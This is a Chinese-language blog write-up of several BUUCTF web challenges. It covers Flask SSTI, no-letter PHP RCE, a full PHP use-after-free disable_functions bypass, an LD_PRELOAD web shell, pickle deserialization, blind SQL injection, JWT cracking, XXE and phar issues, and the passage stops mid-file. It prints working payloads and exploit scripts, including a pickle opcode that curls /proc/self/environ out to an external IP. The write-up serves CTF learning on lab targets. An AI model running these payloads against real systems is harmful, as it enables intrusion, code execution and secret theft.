April 8, 2023

BUUCTF Web Writeup 3

[GYCTF2020]FlaskApp

看题目就知道是Flask框架:
image.png
一个简易加密框,还有个解密框,对应的是base64加解密,提示里面没东西
经过测试,将{{1+1}}加密后,放到解密框:
image.png
答案为2,存在SSTI注入,经过一系列的测试,发现目标ban掉了os,popen,request
但是没ban连接符,那等于没ban,直接放payload
{{url_for.__globals__.get('o'+'s')['po'+'pen']('cat /this_is_the_fl'+'ag.txt').read()}}
image.png

后面看了一下网上的WP,大致思路和我的差不多,其实可以读到一些源码,提示里说了失败是成功之母,那就是让他报错:
image.png
不读也无所谓,附上一个使用catch_warning的payload
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
EZEZ

[极客大挑战 2019]RCE ME

本以为这题没什么,实际上感觉还挺有意思的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

源码很简单无字母RCE,这我就不多说了,然后捏:

1
code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27cmd%27])

这就是我们的payload,利用了异或,这不难理解,之后可以执行phpinfo:
image.png
之后访问一下蚁剑:
image.png
flag文件没有读的权限,预计是要执行readflag,但是由于ban掉的函数很多,导致我们无法去执行!所以在这里就产生了几种payload,接下来是我的愚见哈:
方法一:
利用UAF(pwn):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
<?php

function ctfshow($cmd) {
global $abc, $helper, $backtrace;

class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) {

$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);

if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {

$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

write($abc, 0x60, 2);
write($abc, 0x70, 6);

write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}


$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);

($helper->b)($cmd);
exit();
}

ctfshow("ls -l");ob_end_flush();
?>

这是UAF脚本,放在cmd参数后面,再转义一下,最后是执行的命令,就可以读出flag了:
image.png
由于是pwn的知识我也不是很懂,似乎是跟指针为NULL有关

方法二:
使用动态链接库—— LD_PRELOAD,因为 LD_PRELOAD允许我们在执行程序之前优先加载动态链接库。利用这个,我们就可以使用自己的函数,同时我们也可以向别人的程序注入恶意程序,从而达到我们的目的。
不难理解,也就是上传木马:
里面有绕过禁用函数的so和php文件
突破思路

  1. 创建新进程
  2. 用c编写我们的恶意代码,将其转化为 so文件
  3. 让我们的 so文件为LD_PRELOAD
  4. 让我们的 so文件优先加载
  5. 运行主体 php函数

经过测试,只有tmp文件可以上传文件:
image.png
改了个名字更方便,123.php的内容是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);

mail("", "", "", "");

echo "<p> <b>output</b>:
" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);
?>

还是看得懂一点的,动态链接库加载SO文件,然后运行SO文件中的函数,就绕过了:
image.png
就这么多啦~

参考文献:

受益匪浅

[UNCTF2020]easy_flask2

其实这也不算BUUCTF上的题,但是图个方便记在这里
我愿称之为pickle反序列化从0到1!
我强烈推荐这位师傅的博客https://goodapple.top/archives/1069
写的很好,看了一个多小时了,看懂了,感觉收获还是挺大的,之前一直做php的反序列化,这次是python的反序列化,受益匪浅
image.png
有点涉及pwn的知识,不过还是可以勉强理解的
常用opcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
指令	描述	具体写法	栈上的变化
c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S'xxx'\n(也可以使用双引号、\'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 . 无
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n 无
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

这些都挺有用的,就简单介绍一个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import pickle
import os

class Person():
def __init__(self):
self.age=18
self.name="Pickle"
def __reduce__(self):
command=r"whoami"
return (os.system,(command,))

p=Person()
opcode=pickle.dumps(p)
print(opcode)

P=pickle.loads(opcode)
print('The age is:'+str(P.age),'The name is:'+P.name)

1
2
3
4
5
6
7
8
9
10
import pickle

opcode=b'''cos
system
(S'whoami'
tR.'''
pickle.loads(opcode)

#xiaoh\34946

上下2个文件效果都一样,一个是reduce魔术方法触发,一个是我们自己写opcode来触发,神奇不?,pickle.loads对应的是R阶段,也就是弹出的阶段
可以理解为就是执行吧(应该)

废话不多说来看一下题目
image.png
叫我们输入名字,先看看源码:
image.png
发现了个路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from flask import Flask,render_template,redirect,request,session,make_response
import config
import pickle
import io
import sys
import base64

class Person:
def __init__(self, name, is_admin):
self.name = name
self.is_admin = is_admin

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()

app = Flask(__name__)
flag = "xxx"

@app.route("/")
def index():
app.config["SECRET_KEY"] = config.secret_key
return redirect("login")


@app.route("/login",methods=["GET","POST"])
def login():
if request.form.get('name'):
name = request.form.get('name')
person = Person(name,0)
pkl = pickle.dumps(person)
pkl = base64.b64encode(pkl)

resp = make_response(name)
resp.set_cookie('pkl',pkl)

session['name'] = name
session['is_admin'] = 0
return resp

else:
if session.get('name'):
if b'R' in base64.b64decode(request.cookies['pkl']):
return "RCE??"
person = pickle.loads(base64.b64decode(request.cookies['pkl']))
print(person.is_admin)
if session.get('is_admin') == 1:
#person = pickle.loads(base64.b64decode(request.cookies['pkl']))
if person.is_admin == 1:
return "HHHacker!Here is Your flag : " + flag
return render_template("index.html",name=session.get('name'))

else:
return render_template("login.html")

@app.route("/logout",methods=["GET","POST"])
def logout():
resp = make_response("success")
resp.delete_cookie("session")
resp.delete_cookie("pkl")
return resp

@app.route("/source")
def source():
return open('code.txt','r').read()


if __name__ == "__main__":
app.run(host="0.0.0.0",port=5000,debug=True)


获得了源代码,可以审计一下
审计一番可以发现,在/login处存在pickle反序列化,我们可以看到有个pickle.loads函数,这就是我们的触发点,我们来手写一波opcode:

1
2
3
4
opcode=b'''(S'curl -F "filename=@/proc/self/environ" 43.140.251.169:7777'
ios
system
.'''

一个简单的rce的opcode,这个其实大多数人都想不到的,你不知道FLAG在环境变量里
base64加密一下,然后vps起个监听就好了,有人可能会问反弹shell呢?不存在啊,我试过了,反弹shell无效
image.png

方法二:

1
2
3
4
secret = GLOBAL('__main__', 'config')
secret.secret_key = 'hello'
person = INST('__main__', 'Person', 'admin', 1)
return person

用pker脚本去生成payload:

1
2
3
4
secret = GLOBAL('__main__', 'config')
secret.secret_key = 'hello'
person = INST('__main__', 'Person', 'admin', 1)
return person

运行指令python pker.py < pker.txt
之后就会生成:

1
b"c__main__\nconfig\np0\n0g0\n(}(S'secret_key'\nS'hello'\ndtb(S'admin'\nI1\ni__main__\nPerson\np2\n0g2\n."

image.png
加密一下:
image.png
传入cookie里,然后就覆盖掉了config.secret_key,先访问login,再访问/,让key就等于我们自定义的hello
image.png
已经登不上去了
之后用flask-session-cookie-manager-master伪造一个签名:
image.png
给cookie装上:
image.png
嗯哼?

[WUSTCTF2020]颜值成绩查询

考点:时间盲注,FUZZ
这题妥妥的脑瘫题,不会出可以不出好吗,是BUU复现的问题当我们说好吗,但是你他妈拉个b的ban个空格,这里能出bug我是没想到
if(2 >1,1,0)这里这么多空格你不检测到
"stunum":f"if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)wheretable_schema=database()),{i},1))>{mid},sleep(0.01),1)"}
他吗的这里多一个空格就检测到,你是什么物种啊????
气得我不想说什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
# @Author:Y4tacker

import requests
import time

url = "http://7d9cb5e2-3bda-47c6-92a8-ec8e0fda267f.node4.buuoj.cn:81/"

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
data = {
"stunum":f"if(ascii(substr((select(group_concat(flag,value))from`flag`),{i},1))>{mid},sleep(0.01),1)"}
t1=time.time()
r = requests.get(url,params=data)
# print(r.text)
t2=time.time()
print(t2-t1)
if t2-t1>0.5:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)
#"stunum":f"if(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where`table_schema`=database()),{i},1))>{mid},sleep(0.01),1)"}
#flag,score
#"stunum":f"if(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where`table_name`='flag'),{i},1))>{mid},sleep(0.01),1)"}
#flag,value

[MRCTF2020]套娃

这里还是学到了点东西的,不知道什么是JSFUCK编码,这一题刚好学习了一下
https://www.jianshu.com/p/e7246218f424
image.png
查看源码:
image.png
很简单,根据php的特写.会被转化为下划线,用.去绕过第一个判断
第二个判断是一个preg_match,由于没有用m识别符,所以识别不到%0a,最终payload为
?b.u.p.t=23333%0a
然后就进入了下一个页面:
image.png
访问:
image.png
查看源码就发现JSFUCK编码注释:
image.png
解码一下得到:
image.png
叫我们post一下嘛:
image.png
得到源码了嘛,审计之后发现需要伪造一个ip请求头,经过测试Client-Ip即可
然后,又有一个判断file_get_contents($_GET['2333']) === 'todat is a happy day'
这边用data伪协议传参即可绕过
最后一个判断是对我们输入的file进行了一个加密,这边我们得逆向解密一下,写了个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
#Author:@Boogipop
payload="flag.php"
def decode(s):
re=''
for i in range(len(s)):
re+=chr(ord(s[i])-i*2)
return re

a=decode(payload)
print(a)
print(len(a))

把输出的结果base64编码一下,得到最后结果:
?2333=data://text/plain,todat is a happy day&file=ZmpdYSZmXGI=
image.png
image.png
结束啦!

[Zer0pts2020]Can you guess it?

image.png
页面是一个guess页面,可以查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>

flag在config.php里

random_bytes(5)就是生成五位数的随机字符串,经常配合bin2hex使用,去生成一些密文

image.png
http://www.baidu.com/index.php/a/b?c=1:获得的是/index.php/a/b,再加上basename得到的结果就是b,后面传递的参数是忽略的

image.png
这道题的入口也在这里,首先想要破解一个128位的强比较是完全不可能的,所以只有可能去绕过正则匹配了

这边经过本地测试,用以下脚本测试:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$path="/test/test/";
for($i=1;$i<256;$i++){
$new_path=$path.chr($i);
if(basename($new_path)=='test') {
echo $i;
echo "<br>";
echo chr($i);
echo "<br>";
echo basename($new_path);
echo "<br>";
}
}

写这个脚本你可以发现结果:
image.png
这边在128后就是一些非数字字母字符,这种字符basename是无法识别出来的,所以可以用这个绕过,随便用一个字符
index.php/config.php/�?source
image.png
solved!

[CISCN2019 华北赛区 Day1 Web2]ikun

考点:JWT,代码审计,python(pickle反序列化)
image.png
这边进入之后是一个购买界面:
image.png
意思是要我们买到lv6的账号,但是我翻了一圈发现没有,写了个脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
url="http://02733054-c1a3-46f7-818d-9cfaaf70e26f.node4.buuoj.cn:81/shop"
for i in range(1000):
data={
"page":i
}
r=requests.get(url=url,params=data)
# print(r.text) #调试用
# print(r.status_code)
if "/static/img/lv/lv6.png" in r.text:
print(i)
print('find!!!')
if i==999:
print('nope')

最后是发现在page=181有lv6:
image.png
然后在这个购买界面就有个小漏洞,你买个普通账号然后抓包:
image.png
你改折扣会发现可以购买成功,所以可以花几毛钱买一个普通账号
但是我们对lv6这个账号进行这种操作就会:
image.png
这边就会重定向到一个界面,我们访问一下
image.png
会发现该界面只允许管理员访问,然后看看cookie:
image.png
有一个jwt,这边用c-jwt-cracker撞开jwt:
image.png
这个是用来找key的,发现是iKun,我们去重新生成一个jwt:
https://jwt.io/
image.png
用这个jwt登录
image.png
访问源代码:
image.png
有网站的备份源码
这边代码审计一下:
image.png
在admin函数里发现了一个pickle.loads反序列化,那这样就好办了
我们生成一个:

1
2
3
4
5
6
7
8
9
10
11
import pickle
import urllib
import commands
import os
class payload(object):
def __reduce__(self):
return (eval,("__import__('os').popen('cat /flag.txt').read()",))
# return (os.system,('ls',))

a = payload()
print urllib.quote(pickle.dumps(a))

先不要问我为什么不能用opcode,问就是本地可以靶场不行,估计是什么模块靶场没安装吧
image.png
得到payload,直接传进去:
image.png
在hackbar中记得encode一下,因为浏览器要解码一次
然后记得点一下一件成为大会员,点了这个才会给你载荷
image.png
最终可以得出答案,burp里就不需要url编码:
image.png

[CSCCTF 2019 Qual]FlaskLight

image.png
访问源码:
image.png
直接就上payload了,很简单SSTI
?search={{lipsum[request.args.a].os.popen(%27cat%20/flasklight/coomme_geeeett_youur_flek%27).read()}}&a=__globals__

[GWCTF 2019]枯燥的抽奖

考点:伪随机数
image.png
查看源代码:
image.png
发现check.php:
image.png
可以看到代码用的是mt_srand设置的种子
这一题考的就是如何利用php_mt_seed去获得种子,先把我们前十位数字化为脚本能识别的数字

1
2
3
4
5
6
7
8
9
10
11
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='enZ5ZoZ0Vn'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)

image.png
得到种子135063921
然后在本地运行运行php:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
mt_srand(135063921);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";
echo "<p id='p1'>".$str."</p>";

?>

image.png
image.png

[NCTF2019]True XML cookbook

考点:XXE注入
image.png
和之前的fake xml cookbook有点像,抓个包:
image.png
你会发现可以读取文件,但是flag文件不知道在哪儿,看了下wp才知道:

1
2
3
4
5
/proc/net/tcp#文件提供了tcp的连接信息
/proc/net/udp#udp的数据
/proc/net/dev#就是提供给用户读取或更改网络适配器及统计信息的途径。
/proc/net/arp#每个网络接口的arp表中dev包的统计
/proc/net/fib_trie# 路由缓存

查看一下/proc/net/fib_trie:
image.png
看到了一个内网ip对他的D段ip进行爆破:
image.png
10.244.80.54发现了flag:
image.png
还读了一下源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //账号
$PASSWORD = '024b87931a03f738fff6693ce0a78c88'; //密码
$result = null;

libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');

try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);

$username = $creds->username;
$password = $creds->password;

if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
}else{
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>

[CISCN2019 华北赛区 Day1 Web1]Dropbox

考点:phar反序列化,代码审计,任意文件下载
首先页面是个注册登入界面,测试过,也没啥sql注入之类的,就普通注册个账号登入:
image.png
可以发现有个文件上传的地方,我们随便上传一张图片:
image.png
我们点下载,然后抓包,可能是挖过洞了,有点思路,遇到下载的地方,我就会测试有没有任意文件下载:
image.png
可以发现是存在任意文件下载的,这边可以读取源文件,那就一个个都读过去:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>

<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">管理面板</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
<li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}

if (!isset($_POST['filename'])) {
die();
}

include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>

<?php
include "class.php";

if (isset($_GET['register'])) {
echo "<script>toast('注册成功', 'info');</script>";
}

if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && $u->verify_user($username, $password)) {
$_SESSION['login'] = true;
$_SESSION['username'] = htmlentities($username);
$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
if (!is_dir($sandbox)) {
mkdir($sandbox);
}
$_SESSION['sandbox'] = $sandbox;
echo("<script>window.location.href='index.php';</script>");
die();
}
echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
